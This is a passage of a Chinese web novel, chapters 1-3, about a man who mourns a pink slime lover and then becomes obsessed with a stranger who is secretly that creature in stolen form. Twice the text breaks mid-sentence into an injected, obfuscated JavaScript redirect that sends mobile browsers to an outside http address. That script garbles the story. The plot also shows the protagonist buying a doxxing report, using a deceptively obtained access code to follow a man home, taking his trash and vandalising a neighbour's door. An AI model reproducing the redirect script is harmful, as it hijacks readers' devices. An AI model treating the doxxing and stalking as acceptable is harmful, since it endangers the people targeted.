《病娇地雷,但被阴湿人外缠上了》 1. 第1章 天空阴沉,风不大,但裹着湿意吹过墓碑旁的杂草,草叶便簌簌颤抖起来。 陆拾站在墓碑前,身形挺拔高挑,手里捧着一束纯白的百合花。 他盯着墓碑光滑的表面,上面没有照片,只刻了一个名字:陆熠。 “在你不告而别后,也是在我心中死去的一年里,”沉静片刻,他才开口,声音干涩低哑,“我过得比以前要好。” 风吹乱了几缕发丝,他抬手撩了撩头发,露出一张完美精致到不似真实,却又冷郁沉寂的脸庞。动作间,左耳处的亮光闪烁。 那是一枚亮粉色的耳钻,即便在这样阴郁的天色下,也固执地折射出鲜艳的色彩,鲜明得与周遭的灰暗格格不入。 一如他不告而别的恋人的颜色,那种他曾经无比熟悉,如今却只能在小腹的淫/纹上回忆起的颜色。 “可至今为止,”他继续说,声音喑哑,“我不知道你为什么要离我而去。” “在你离开后,我给你取名叫陆熠,可能只是我的一厢情愿吧。” 他轻轻叹了一口气。 “为什么要离开呢?”陆拾问,又自行给出了一个答案,“也许是因为我的贫穷。” “但我现在已经找了一份主播的工作。有人打赏了很多钱加我好友,我通过了,但没有答应任何人线下见面的要求。” “轰——!” 一声惊雷毫无预兆地炸开,声音极大,仿佛就在头顶云层深处爆裂,震得空气都嗡嗡作响。 陆拾抬眼,只见云更黑了,沉沉地压下来。 要下雨了吧,他想。 雷声过后是更深的寂静,带着山雨欲来的压迫感。 他呼吸了一口湿冷的空气,说: “肯定是因为这个,不可能再有其他原因了。” 一些画面不受控制地撞进脑海,其中全部都是关于一滩柔软的、果冻般的粉色史莱姆状生物。 他记起那粉色身体的一部分在嘴里融化,留下难以言喻的触感和味道。 舌尖仿佛又泛起了奇异的甜,混合了花朵的清香与樱桃草莓的果味,独特到无法在世界上找到任何相同的替代品。 仅仅是回忆,就让他的身体内部窜起一股熟悉的热流,隐秘汹涌,与此刻阴冷的天气迥然不同。 脸颊也烧了起来,可眼眶却泛起一阵酸涩的刺痛,泪意上涌。 这两种矛盾的感觉撕扯着他,他用力眨了眨眼睛,试图逼回泪意,视线重新聚焦在“陆熠”两个字上。 “今天是你离开我的一周年,”他说,“也是在我心里死掉一周年的日子。” 他弯腰,将白色百合放在墓碑前。纯白的花朵衬着深色的碑石,对比分明。 “我只想说,”他忽然放轻了声音,“我爱你。” “我比以前更有钱了,也给你买了最贵的墓碑,我做一切只是因为……我想要你回来。” 他怀念那些与陆熠共度的日子,怀念用小刀把陆熠切成一小片放进嘴里,再慢慢品尝的味道。 想着想着,他竟然感到有些饿,有点冷,还有点想哭,因为他再也不会遇见像陆熠一样的存在了。 要下雨了,但陆拾不在意。 一方面,这里距离他家不过几十米,另一方面是他还没说完。 可连续对着冰冷石碑的倾诉,竟让他感到一种轻微的眩晕。 不是生理上的不适,更像是情感过度宣泄后的空虚,仿佛说出去的每个字都带走了一部分沉甸甸的实质,留下摇摇欲坠的内里。 在这个空档,第一滴雨终于落下。 “无论是你的到来,还是离开,”他的声音在细密的雨声中响起,显得有些飘忽,“就像一场梦,一场闪亮的粉红色的梦。” “也许人终究会从梦中醒来,可我不想醒来。” 他静静地站了一会儿,在这短短的时间里,他就被淋湿了。雨水顺着额际和脸颊滴入领口,裹着冰冷的寒意。 视线被雨水模糊,不仅是睫毛上挂的水珠,更是一种从身体内部弥漫开来的水汽,让眼前的一切都失去了清晰的轮廓,晕染成一片深深浅浅的冷灰色块。 意识似乎也随着体温的流失和精神的疲惫,而变得模糊迟缓。 直到某一刻,他迟钝地捕捉到一丝异样。雨声似乎没有变化,但落在脸上和头顶的冰冷湿意消失了。 他微微转动眼珠,目光从模糊的墓碑上移开,向上看去。 首先映入眼帘的,是一片浅灰色。 而后他意识到,一把浅灰色的伞正稳稳地撑在他的头顶上方,截断了落向他的雨水。 与此同时,一道声音穿透雨声,清晰地传入他的耳畔: “他肯定也不希望你淋雨。” 陆拾转头,迎上了一双琥珀色的眼睛。 四目相对的刹那,陆拾心里那片湿冷粘稠的情绪忽然消散了。被暖流包裹般的感觉渗透了浸湿雨水的衣服,抚/慰着他冰凉的皮肤。 陆拾:“……你说什么?” 持伞的青年身形颀长,站姿放松挺拔。他穿着一件浅色的风衣,头发是柔软的深棕色,干燥清爽。 “我说,”青年重复道,声音温柔,“无论谁在这里长眠,都不会希望你因为探望他而淋雨。” “如果感冒发烧,就麻烦了。” “哦,”陆拾张了张嘴,只觉得脸颊发烫,舌头打结,“我是说……可能吧。” 那张脸庞上的冷郁无声溶解了,变成更为明亮柔软的神色。 理智开始艰难地回归,他试图捋顺一团乱麻的思绪和打结的舌头。 “陆熠可能不会这样想,”他听到自己的声音,“因为是他选择了离开我。” 那双琥珀色眼眸里,有什么东西一闪而逝。 这双眼睛的主人问:“他叫陆熠吗?” 陆拾:“他没有名字,只有一个音节,这是我给他取的名字。” 青年声音依旧温柔,“那不是你的错。” 陆拾抬眼看向对方。 为什么用如此笃定的语气,说这不是他的错? 他看着青年,对方依旧坦然回视。 陆拾的心脏乱跳起来,几乎要盖过外面的雨声。 在心脏即将跳出胸腔前,他错开视线,黑色的瞳仁中心泛着水雾,眼尾也是湿漉漉的,目光落在墓碑的名字上。 青年似乎认为他生气了,或者对自己产生了防备,扬起唇角: “我叫周予安,这是我们的第一次见面,如果有冒犯的地方,请原谅我。” “陆拾,”他终于找回了自己的声音,“俯拾即是的拾。” 周予安笑笑,“给予的予,安全的安。周予安。” 他在心里默念了一遍这个名字,舌尖仿佛尝到一点不存在的甜。 在捡到陆熠之前,他并不相信一见钟情。 周围的世界对他而言,都像蒙上了一层雾气,他甚至都看不太清其他人的模样,又怎么会一见钟情呢? 直到那天他捡到了一滩亮粉色的史莱姆,世界才第一次出现了色彩。 而自从陆熠离开后,这是他第二次感受到相同的感觉。 ——他确定自己喜欢上周予安了。 周予安微微调整了伞的角度,确保更多的遮蔽倾向他,自己的肩头因此略微暴露在飘洒的雨丝中,但周予安并不在意。 “你家在哪里?”周予安问,带着恰到好处的关切,“要我送你回去吗?” “雨越下越大了,如果没有伞走回家,你会被从里到外淋湿的。” 他垂下眼帘,心里有些为难。 该怎么回答? 难道要指着几十米开外的一户建,说那就是他家? 这也太近了。 就在他踌躇着尚未组织好语言的空当,周予安微微倾身,靠近了一些。 伞下的空间本就有限,这一靠近,两人之间的距离骤然缩短。 他能清晰地看到周予安的面孔,看到那长且浓密的睫毛,还有那双眼睛,像两块蕴含着暖意的蜜色琥珀,几乎要将他凝固封存进去。 天呐,好完美一张脸,他好喜欢。 “你的脸色很白,”周予安问,“很冷吗?” “我……”他张口,本能地想要否认,但话到嘴边又变了模样,“其实这座房子就是我家。” 他抬手,指向雨幕中近在咫尺的建筑。 “原来是这样,”周予安笑笑,露出了然的神色,“难怪你没有带伞。” 他感到有些尴尬,又撩了撩浸染水汽的黑发,隐匿在发间的亮粉色如流火闪烁一瞬,冷郁的脸庞上绽开一丝笑意。 就如同冰雪消融,春回大地,整张脸庞上闪着灼目的漂亮,令人无法移开目光。 “但家门口离这里也有几十米的距离,”周予安看向脚下泥泞湿润的草地,“雨这么大,这段路也足够淋湿了,我送你过去吧。” 他没有拒绝,也说不出任何拒绝的话,只是点了点头: “嗯,谢谢你。因为你,我不怎么讨厌这场雨了。” 周予弯起眉眼,“那我们走吧。” 几十米的距离,因为在雨中行走,而比平时显得长一些,又似乎短得转瞬即逝。 直到踏上房屋门前干燥的水泥地,来到低矮的屋檐之下,雨声顿时被隔开了一些,变得沉闷。 周予安在台阶前停下脚步,收起伞。雨伞上的水珠滴滴答答落在地上,汇成一小滩水渍。 周予安转身,面对站在屋檐下修长高挑的人影说:“到了。” 细微的失落在陆拾心底蔓延开来。 应该道别了吧。 他张了张嘴,却没能说出什么。 沉静片刻,周予安忽然说:“能给我你的联系方式吗?” 陆拾微微一怔。 “当然可以,”他快速回答,“我的号码还有连界的联系方式,都可以给你。” 他掏出手机,调出通讯录里自己的号码页面,又切换到社交软件“连界”的个人名片界面,与周予安互换了联系方式。 最终,周予安留下了一句话: “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159745|196589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很高兴,今天能遇见你。” ——能时隔一年,再一次地遇见你。 * 直到开门走到卧室,脱掉全部的衣服后,他还沉浸在周予安留下的最后一句话里。 赤/裸着身体,他走进浴室,打开花洒,温热的水流瞬间倾泻而下。 他站在水幕下,闭上眼睛,任由水流冲刷过头发、脖颈,沿着锁骨、胸膛一路向下,汇聚到平坦小腹上对称的亮粉色印迹。 不是寻常的纹身,没有凸起,仿佛是从皮肤深层透出来的一种色素沉淀,颜色鲜艳,异常妖冶。 陆熠离开的当天,印迹就显现出来,伴随着亮粉色的出现,这处的皮肤也变得比以往更敏感了。 周予安的出现打乱了他的安排。 他终于可以放下陆熠了,陆拾想。 半个小时后,他关掉水龙头。浴室里瞬间安静下来,蒙着水雾的镜子映出他湿漉漉的头发,还有一张过分白皙精致的脸庞。 可能太过白皙,以至于缺少了生气,令人联想起易碎的瓷器,或是寒冷的冰刀。 陆拾擦干身体,换上干净的衣服,又吹干了头发,躺在床上捧着手机,查看周予安的消息界面。 手指悬在手机屏幕上,光标在空白的聊天框里闪烁。 该说点什么? 说“谢谢你”?发一个可爱的表情包? 他真的好紧张。 犹豫像藤蔓一样缠绕上来,越缠越紧。 最终他深吸一口气,决定暂时按兵不动。 先看看周予安的社交账号,观察观察,至少可以了解一下他是什么样的人。 他退出聊天界面,点进主页。 可令他大失所望的是,周予安的主页呈现出一片空白。 没有所在地,没有职业信息,动态栏也显示着冰冷的系统提示:该用户设置了仅展示最近七天的动态。 而最近七天空空如也,一条动态都没有,干净得像一张从未使用过的白纸。 他有些烦躁,用舌钉戳自己的上颚,再轻轻扫过。 难道周予安藏着什么秘密? 难道周予安已经有了恋人? 难道这一切都是他的一厢情愿吗? 某些阴暗的念头如同被雨水淋湿的小毒蘑菇,在他的内心深处色彩艳丽地生根发芽。 他及时制止了那些画面,一并掐死了那些小毒蘑菇。 可是周予安看起来又不像那种人。 就这样胡思乱想了很久,他盯着那片空白,直到眼睛发酸,直到手机屏幕因为长时间无操作而自动熄灭,最终归于一片漆黑的寂静。 他还是没想清楚。 他有些懊恼地再次用指纹解锁屏幕,亮起的白光刺得他眯了眯眼。 然后他瞪大了眼睛。 [60:1] 3分钟前,他给周予安发送了一个“1”?! 他顾不得再斟酌措辞,立刻在输入框里敲打。 [60:抱歉,误触了。] 片刻后。 [Hay:没关系。] 陆拾盯着那三个字,混合着失落和委屈的情绪细细密密地涌上来。 好冷淡,他有一点伤心。 为什么只回这么冷冰冰的三个字? 但凡回一个“没关系哦”呢? 但凡给他发个表情包呢? 好烦,为什么要这样对他? 为什么,为什么,为什么? 他丢开手机,把脸埋进枕头里,扯过旁边的被子,把自己严严实实地裹了起来,又滚了一圈。 他闭上眼睛,可眼前还是出现了周予安那张温柔的脸。 过了几分钟,他不死心地又看了一眼屏幕,看到了一条来自周予安的未读消息。 [Hay:明天晚上,你有时间吗?] 陆拾心里的委屈和烦躁顿时烟消云散。 [60:有的,我明天没有任何事情。] 他甚至没问是什么事,因为不需要问,无论是什么他都会答应。 周予安很快回复了时间和地点,晚上五点半,一家颇有格调的餐厅。 他答应了,并且他彻底睡不着了。 甚至连明天都不想等待,恨不得此刻时针就能疯狂转动,让他眨眨眼睛就能看到太阳从东方升起。 这种迫不及待催生出一股强烈的探究欲。 他想知道关于周予安的一切。 想知道周予安住在哪条街、哪栋楼,窗口朝向哪里,也想知道周予安的父母是否健在,更想知道为什么自己已经在这片区域住了一段时日,却从未在任何地方见过周予安。 他坐起来,重新拿起手机,划动着联系人列表,指尖在一个个名字上掠过,最后点击了一个黑色头像的联系人——AAA开盒/查档/开户/银行流水/犯罪记录/资产调查。 陆拾没有犹豫,复制了周予安的姓名、号码,还有社交主页的信息,点击发送。 [60:帮我开个盒,我要知道他的全部信息,价格好说。] 2. 第2章 [AAA开盒/查档/开户/银行流水/犯罪记录/资产调查:这人有点难办。] 有什么隐情吗? 陆拾快速敲击屏幕,打下一连串字词。 [60:我可以加钱,我要他的住址,其他家庭成员情况,还有档案调查。] 他暂且不需要银行流水或犯罪记录,嗯,或者说至少现在不需要。 现在,他只想知道最基本关键的信息。 周予安住在哪里?来自怎样的家庭?有着什么样的过去? [AAA开盒/查档/开户/银行流水/犯罪记录/资产调查:他又怎么得罪你了?] 周予安怎么会得罪他,他喜欢周予安还来不及呢。 [60:没,我想追求他。] 对话框那边沉默了几秒。 [AAA开盒/查档/开户/银行流水/犯罪记录/资产调查:?] 陆拾有点愤怒。 [60:你懂什么是喜欢,什么是爱吗?] [60:你遇到真爱吗?] [60:没遇到过,就别像蠢猪一样发问号。] 解释是苍白的,动机是纯粹的,他不想对一只混藏在灰色地带的老鼠,剖析自己有多爱周予安。 他只需要结果。 好在老鼠没再废话。 [AAA开盒/查档/开户/银行流水/犯罪记录/资产调查:加急,加钱。] 陆拾立刻转账。 交易达成,屏幕那头陷入了短暂的寂静,只剩下“正在输入中……”的提示偶尔闪现。 大约一小时后,他得到了一份整理好的文档。 陆拾点开文件,首先看向住址。 跳入眼帘的是一个离这里不远的高档住宅区名字,具体楼栋和门牌号清晰在列。 他的目光在地址上停留了几秒,仿佛能透过文字,看到周予安坐在里面的某个房间。 这让他产生了一种满足感。 接着,他又看向家庭成员情况。 他皱眉,“父母健在?” 一股莫名烦躁的情绪像细小的藤蔓,瞬间缠绕上心头,收缩勒紧。 有点可惜。 不对,是非常可惜。 好烦。 为什么他喜欢的人爹妈都还活着? 为什么周予安要和除他之外的人保持联系? 黑发垂落在额前,犹带着刚洗过后的芬芳,柔软顺滑。 他咬着嘴里的钉子,又不开心地把自己裹进被子里。 静了静,他才勉强压下心中的烦躁,迫使自己移开注意力,继续往下看。 家庭经济状况倒是不错,能看出来周予安家里并不缺钱。 这一点在他意料之中。 周予安的气质和穿着都隐约透露出良好的家境,这条信息只是证实了他的猜测。 最后是简要的档案信息。 周予安刚刚从外地一所知名的大学毕业,近期才回到这里,档案显示他似乎打算在这里发展就业。 难怪以前从未见过。 他关掉文档,手机屏幕暗了下去,房间里重新被昏暗笼罩。 “陆熠,”他对着一片黑暗喃喃自语,手掌下意识抚上小腹处的印记,“我可能找到真爱了。” 他本想怀揣着对明日约会的期待入睡,但他睡不着,就好像有无数细小的爪子,轻轻抓挠着他的神经末梢。 最终陆拾猛地掀开被子,直直地坐起身。 不行,必须做点什么。 他从衣柜里翻出一件深色的连帽衫,一条普通的牛仔裤,又翻出一个黑色的口罩,穿戴妥当后,他悄无声息地溜出家门。 雨已经停了,但空气里饱含湿气,地面反着路灯惨白的光,四处是深深浅浅的水洼。深夜的街道空旷寂静,只有偶尔远处传来的车辆驶过湿滑路面的声音。 他拉紧帽子,低着头,凭着开盒信息里的地址,朝着周予安家的方向前行。 需要更近一点,更真实地感知周予安存在的痕迹,哪怕只是站在周予安居住的楼下,仰头数一数那扇可能亮着的窗户。 目标楼很快出现在视野里,玻璃幕墙在夜色中反射着冷光。楼下是气派的入户大堂,玻璃门紧闭,需要门禁卡或权限码才能进入。 可他没有权限码。 并且直到这时他才意识到,自己并不满足于远远地数一数窗户。 陆拾站在冰冷的感应门外,像一只被挡在温暖巢穴外的流浪猫,只能隔着玻璃窥视里面亮起的灯光。 眨眨眼睛,他忽然福至心灵。 靠在冰冷的墙壁上,他拿出手机,指尖在联系人列表里快速滑动,从在直播时狂热打赏,想要加他好友的大哥的账号上一一掠过。 他记得其中有一个,炫耀过自己住在这里,似乎就是这一栋楼。 凭着记忆,他点开一个备注着“xx科技王总”的聊天界面。 上一条消息还是一个月前对方发来的露/骨邀约,他当时直接无视了。 [60:王哥,睡了吗?] [xx科技王总:哟,这么晚,想哥哥了?] 陆拾忍住想吐的冲动。 [60:嗯,有点睡不着。王哥你是不是住在府城云邸那边呀?] [xx科技王总:对啊,宝贝还记得呢?想来玩玩?] [60:一个人在家,好无聊,也好寂寞,突然想找人说话。] [60:能给我一个临时访客权限码吗?] [60:我想过去坐坐。] [xx科技王总:快来吧宝贝,12小时有效的临时码,到了直接进,哥等你!【流口水.jpg】] [xx科技王总:房间号是1601] 扫了一眼那串房间号,他干脆利落地记下权限码,甚至懒得回复一个“好”字。 用权限码打开门后,他快步穿过空旷明亮的大堂,径直走向电梯间,迈入电梯后按下数字“12”。 一分钟后,12层到了,电梯门无声滑开。穿过走廊,他站到周予安的家门前。 到了。 他真的站在了周予安的家门口。 真是太冲动了。 现在怎么办,直接敲门? 难道要说“嗨,周予安,我睡不着,正好路过,上来看看你”? 更何况现在已经过了零点,是正常人深度睡眠的时间。 周予安看起来就是作息规律的人,是和他完全相反的物种,说不定早就休息了。 如果因为自己的打扰,导致对方明天约会没有精神怎么办? 这个念头让他更加懊恼。 他抬起眼眸,看向位于门板上的猫眼。 鬼使神差地,他悄悄把脸凑近了猫眼,屏住呼吸。 视野被猫眼扭曲压缩,形成一个昏暗的画面。 他努力睁大眼睛,试图穿透昏暗看清门内的轮廓。 里面很暗,没有开灯,至少靠近门口的这片区域没有,再往里便是深不见底的黑暗,什么也看不清。 没有走动的人影,没有电子设备的光源闪烁,也没有任何声音泄露出来。 就这样趴在门上,维持着僵硬的姿势看了很久,他一边看,一边无意识咬着嘴里的钉子。 就在他全神贯注于模糊的黑暗时,口袋里的手机突兀地震动起来,嗡嗡声在寂静的走廊里被放大,惊得他差点从门边弹开。 陆拾手忙脚乱地掏出手机,屏幕亮光刺眼,显示出一条未读信息。 [xx科技王总:宝贝,到哪了?] 陆拾皱紧眉头,强烈的烦躁涌上心头。 [60:嗯嗯嗯,马上,别催,烦死了,简直是小头控制大头的垃圾。] [60:再催拉黑。] 把手机放回原位后,他背靠着门,目光扫过门前这片不大的区域。 一梯一户的设计让门口空间非常整洁,旁边是光洁的墙壁和窗台,对面是漆成米白色的防火门。 家门与防火门之间空荡荡的,没有预想中可能存在的换鞋凳、雨伞架或者装饰盆栽。 唯有一袋东西,看起来是很普通的白色半透明垃圾袋,靠墙放在门边角落。 是待扔的垃圾吗? 陆拾不确定。 周予安看起来那么整洁干净,连社交动态都一片空白,门口的垃圾袋会是什么样呢? 好奇心再次压倒了一切。 他挪过去,蹲下身,小心翼翼地用手指勾开袋口,没有闻到预想中的厨余酸腐或杂物混合的气味,干净得简直不像一袋垃圾。 他从里面拿出一只丙烯马克笔,又摸了摸,碰到一个光滑的塑料瓶身。 拎出来,原来是一瓶喝空了的饮料瓶,标签上印着“雪梨橙汁”,里面只剩下几滴残留的液体。 嗯,确定了,就是待处理的垃圾。 还有一些其他的东西,他暂时没有检查。 哎呀,他无声感叹,周予安真的连垃圾袋都干干净净。 越想越喜欢。 他在门口又恋恋不舍地待了一会儿,指尖划过冰凉的门板,目光流连在紧闭的玻璃窗上。 他凑近窗户,摘下口罩,呵出一口气。 温热湿润的气息喷洒而出,在冰冷的玻璃表面凝结成一小团白雾。 陆拾伸出食指,在那团水雾中央画下了一个小小的、歪歪扭扭的爱心,又在爱心的右下角画了两个数字“60”。 周予安会发现吗? 明天早上出门时,如果阳光恰好照到这边,或者他偶然一瞥,会不会看到这道痕迹? 会联想到今晚有人曾像幽灵般的,徘徊在他门口吗? 陆拾想让对方发现,又不想让对方发现。 矛盾的心情如同冰火交织,拉扯着他。 看了一眼时间,自己居然已经在这里停留半个小时了。 他只好磨磨蹭蹭地离开,顺手带走了那袋垃圾。 可他没有立刻下楼,而是乘坐电梯来到16层,来到王总的门前。 他拿出那只丙烯马克笔,拔掉笔帽,在光洁的门上快速用力地涂画起来。线条粗粝歪斜,带着一股发泄般的恶意。 瞬间,门板上就多出了三个大字:垃圾,滚! 随后他转身下楼,直到走到街上,他才拿出手机,点开王总的消息界面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159746|196589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [60:我在门口,快开门,有惊喜哦~] 他几乎能想象出屏幕那头,那个被冲昏头脑的男人看到这条消息时的反应——心跳加速,呼吸粗重,迫不及待地扑向门口,满脑子都是龌龊的期待。 哼,好恶心。 除了周予安之外的人都好恶心。 * 窗外是沉沉的夜色,远处的灯火勾勒出城市的轮廓和街道的脉络。 站在12层的窗边,陆熠的目光穿透玻璃,落在楼下小区出口的方向。 玻璃如同一面黯淡的镜子,模模糊糊地映出他现在的模样。 颀长的身形,白色居家服的柔软轮廓,深棕色的发丝,以及无可挑剔的面孔。尤其是那双眼睛,呈现出温柔的琥珀色。 距离他分解消化掉周予安,彻底取代这个身份,已经过去一段时间了。 这段时间内,他每天都在熟悉拟态出来的陌生模样,模仿周予安生前的行为模式。 大多数时候,他驾驭得很好。 可偶尔,像现在这样独自站在寂静的黑暗里,凝视着镜面般的倒影时,一种深切的陌生感还是会猝不及防涌入心脏。 啊,心脏,是他才拥有一个月的器官。 有那么一瞬间,他觉得自己还是那滩软弱无能的、颜色过于扎眼的变异亮粉色珀露姆。 凌乱的思绪只是一晃而过,窗外出现的身影吸引了他的注意力。 一个戴着黑色口罩、穿着深色连帽衫的身影,高高瘦瘦,手里拎着一个不大的白色垃圾袋,正快步走出小区的自动门,迅速融入街道阴影中。 是陆拾。 即使包裹得如此严实,即使只是匆匆一瞥,陆熠也绝对不会错认。 他情不自禁勾起唇角。 他已经等不及了,等不及陆拾回到家,打开那个垃圾袋,发现他藏在里面的小礼物。 这很可能会引起陆拾的怀疑,但他真的按捺不住。 明明应该更谨慎、更循序渐进地重新接近陆拾,他却还是在相遇的第一天,就迫不及待地想要传递最核心的心情。 即便暴露,也想在重逢的最初就告诉陆拾的事情。 * 陆拾将垃圾袋放在墙边,戴上手套,解开了垃圾袋的系口。 袋子里东西不多,他一件件取出,摆放在光洁的地面上。 首先是空了的雪梨橙汁瓶,还有他用过的丙烯马克笔。 此外还有一部智能手机,屏幕漆黑。他尝试按动侧边的电源键,没有任何反应,根本无法开机。 尝试无果后,他将它放到一边。 然后是杂七杂八的碎纸屑和废旧的文件夹。 最后他掏出了一张信纸,那上面写着:你是我漫长时光中,唯一珍视的存在,唯一想要留住的存在。 出人意料的是,字迹有些歪扭,甚至带点笨拙的用力感。 一瞬间,陆拾的大脑陷入空白。 等等,这是周予安写给他的吗? 还是打算送给谁的? 他抓起信纸,凑到灯光下,仔仔细细地检查每一个角落。 正面除了那行字再无其他,背面更是一个字也没有。 没有收信人姓名,没有地址,没有日期,没有落款,没有任何可以指向特定对象的线索。 纸张的边缘光滑,没有折痕或污渍,干净得像刚刚从商店买来的。 这个“你”究竟是谁? 又为什么把写到一半的信纸丢到垃圾袋里? 本就是夜行生物的陆拾,被这么一搞,彻底睡不着了。 直到天边泛起牛奶色,他才勉强入睡,又一觉睡到翌日中午,才从纷乱的梦境中挣扎着醒来。 他摸到手机,点了一份附近评分最高的外卖,然后沿着开盒哥给出的信息,亲自调查起周予安。 而短短半小时后,他硬生生掰断了外卖自带的塑料勺子,想杀人的心情极速膨胀起来。 * 餐厅柔和的光线下,陆熠提前二十分钟坐在预订的靠窗位置。 他轻抚着冰凉的玻璃杯壁,目光偶尔扫过入口方向,更多时候则停留在手机屏幕里几段简短的对话记录上,反复确认发出的每一个字。 等待的每一分钟都被拉长,他回忆着一周以来恶补的各种恋爱小说,确定自己应该没做错什么,才放下心来。 可已经过了约定的时间,陆拾还是没有出现,他又开始怀疑自己。 直到陆拾的身影终于出现在餐厅门口,在侍应生的指引下来到他面前,陆熠才露出一个发自真心的微笑。 今天的陆拾看起来格外漂亮。 肤色过分白皙,呈现出一种易碎的质感,在灯光下像要融化的香草冰淇淋。 耳朵上缀着不止一枚耳钉,从耳垂到耳骨,粉色在发丝间影影绰绰,却无法消融那张脸孔与生俱来的距离感。 他暂且压下心里的疑虑,按照事先编排的剧情,念出了准备已久的台词: “我不知道你喜欢吃什么,所以等你一起点餐。” 陆拾却不按剧本走,脸上没什么表情,冷冷道: “你什么意思,是我迟到了让你不爽吗?” 3. 第3章 陆熠无措且茫然。 哪里出了问题? 心里闪过无数念头,但他表面上依旧维持着精心构建的人设: “怎么会?我只是想一切都符合你的喜好。” 这句话应该没问题吧? 毕竟是他从某段恋爱桥段里,摘出来的原文。 陆拾没接他的话,没再吐出更多冰冷的字句,只是翻开菜单慢慢看。 他悄悄松了一口气,也翻开手边那份菜单,却并未真的在看。 他的目光隔着翻开的菜单上缘,流连在陆拾的脸上。 餐厅顶灯是暖黄色的,透过精致的灯罩洒下,在陆拾低垂的眼睫下投出一小片阴影。 皮肤在光下显得有些苍白,可能是没休息好,但那种白皙细腻的质感,让陆熠想起珍贵的瓷器。 好可爱。 侍者上前询问是否可以点餐,陆拾说:“和他的一样就可以。” 陆熠便按照事先研究过的点单,过程中不忘轻声询问陆拾有无忌口,只得到一声短促的“没有”作为回应。 用餐过程中,陆拾也依旧冷冰冰的,带着寒气。 陆熠试图重启对话:“昨晚没休息好吗?” 他查过人类的作息,知道人类应该尽量晚上十一点前入睡,保证至少七小时睡眠。 半夜还来自己的家门口转了半个小时,他想,无论如何也休息不好吧。 “我作息不规律,”陆拾语气平淡,听不出情绪,“没什么休息好不好的说法。” 话题又断了。 “我从外地毕业回来,”他继续试图挑起话题,“已经拿到了幻云生物的offer,下周入职。” 他停顿了一下,观察陆拾的反应。 幻云生物是业内颇具规模和声望的生物科技公司,薪酬福利、发展前景都属于第一梯队。 在人类社会的普遍评价体系里,这应该是一个显著的加分项。 陆拾也应该会更喜欢在这样的大公司任职,稳定且有前景的伴侣吧? “哦。” 陆拾说。 他沉默了。 是信息不够具体?还是表达方式不妥? 对了,他忽然想到,人类似乎也很看重家庭背景的和谐与支持。稳定的亲密关系,往往需要得到家庭的认可。 他立刻完善自己的人设,补充道: “我父母也支持我留在这边发展,他们很开明,不怎么干涉我的生活。” 这句话落地的瞬间,陆拾周身的温度奇异地变低了。 陆拾近乎哂笑:“这样啊。” 轻飘飘的三个字,却像裹着冰刀。 陆熠困惑不解。 父母开明,不施加压力,支持子女的职业选择和独立生活,这在他收集的人类社会样本中,明明是被普遍视为有利条件。 为什么在陆拾这里,却起了反作用? 摆放在盘子中的菜品色香俱全,却无法化解餐桌间凝滞的气氛。 陆熠只好将注意力转移到用餐上。 他吃得心不在焉,大部分注意力都用于记录陆拾喜欢的食物。 直到晚餐结束,他既没能让陆拾重新恢复笑容,也没弄清楚陆拾不开心的原因。 但他根据恋爱小说里的桥段,在走到餐厅正门外,即将分道扬镳时,轻轻牵起陆拾的手。 这是他以周予安的身份,第一次与陆拾产生的肢体接触。 触感微凉,腕骨纤细,皮肤下的脉搏急促跳动。 在陆拾说出任何话之前,他微微低头,克制地将嘴唇印在对方冰凉的手背上。 一个短暂的接触,轻得宛如一片羽毛拂过,又如同初冬的第一片雪花降落。 他抬眼,声音依旧温和: “抱歉,我不知道是什么原因让你不开心,可以告诉我吗?” 时间仿佛停滞了一瞬。 可陆拾随即甩开他的手,又向后退了半步,与他拉开距离,胸膛微微起伏。 陆拾蹭掉手背上残留的触感,“你想说什么?” 陆熠:“我想说,我对你一见钟情了。” 周遭的霓虹闪烁,街景涂着一层温暖的光晕。餐厅的门又被推开,三三两两的人语气轻快地说着什么,路过他们的身边。 他耐心等待着陆拾的回答。 “你很搞笑,”陆拾的面容被霓虹映得妖冶陆离,“你难道想说,我是你见过的第一个与众不同、想要谈恋爱的人?” 他不假思索:“当然。” 下一秒,陆拾微微一笑。 “啪!” 一声清脆响亮的耳光,结结实实地掴在他的左脸上。 力道很重,毫无保留。 陆熠被打得偏脸过去,脸颊上迅速泛起一片鲜明的红痕。 “还好已经走出餐厅了,”陆拾的眼睛里闪烁着愤怒的火光,“不然我真忍不住拿刀子捅烂你的嘴,让你再也编不出骗人的鬼话!” 黑色的发丝飘荡在陆拾的耳际,随着收手的幅度摇晃着垂落。 这样近的距离下,他能隐隐约约看到一枚圆润的珠子,就在陆拾张张合合的嘴里闪动。 陆拾的皮肤过于白皙,嘴唇却很红润,仿佛脸庞上所有的血液都汇聚于此,宛如艳红的罂粟花瓣。 他盯着那道鲜红的嘴唇,问:“为什么?” 陆拾刻意维持的冷漠摇摇欲坠,“你还跟我装什么?” “你一个月前还在谈恋爱,我都知道了。是校园恋爱,很美好对吧?” 几道探究的目光投来,但陆熠并不在意。 陆拾逼近,扯着他的领子攥紧,“你为什么要骗我?骗我很好玩吗?” 对此他无法作出有效回答,因为他不知道自己什么时候和其他人谈了恋爱,他只知道脸有些疼,还有生气的陆拾好漂亮,好喜欢。 思绪勉强流转着,他才意识到陆拾的意思是,周予安已经有了一位恋爱对象,而他并不知晓。 陆拾扯着他的领子重重一推,抬起另一只手又甩了他一巴掌,这次甩在右脸上,声音同样清脆。 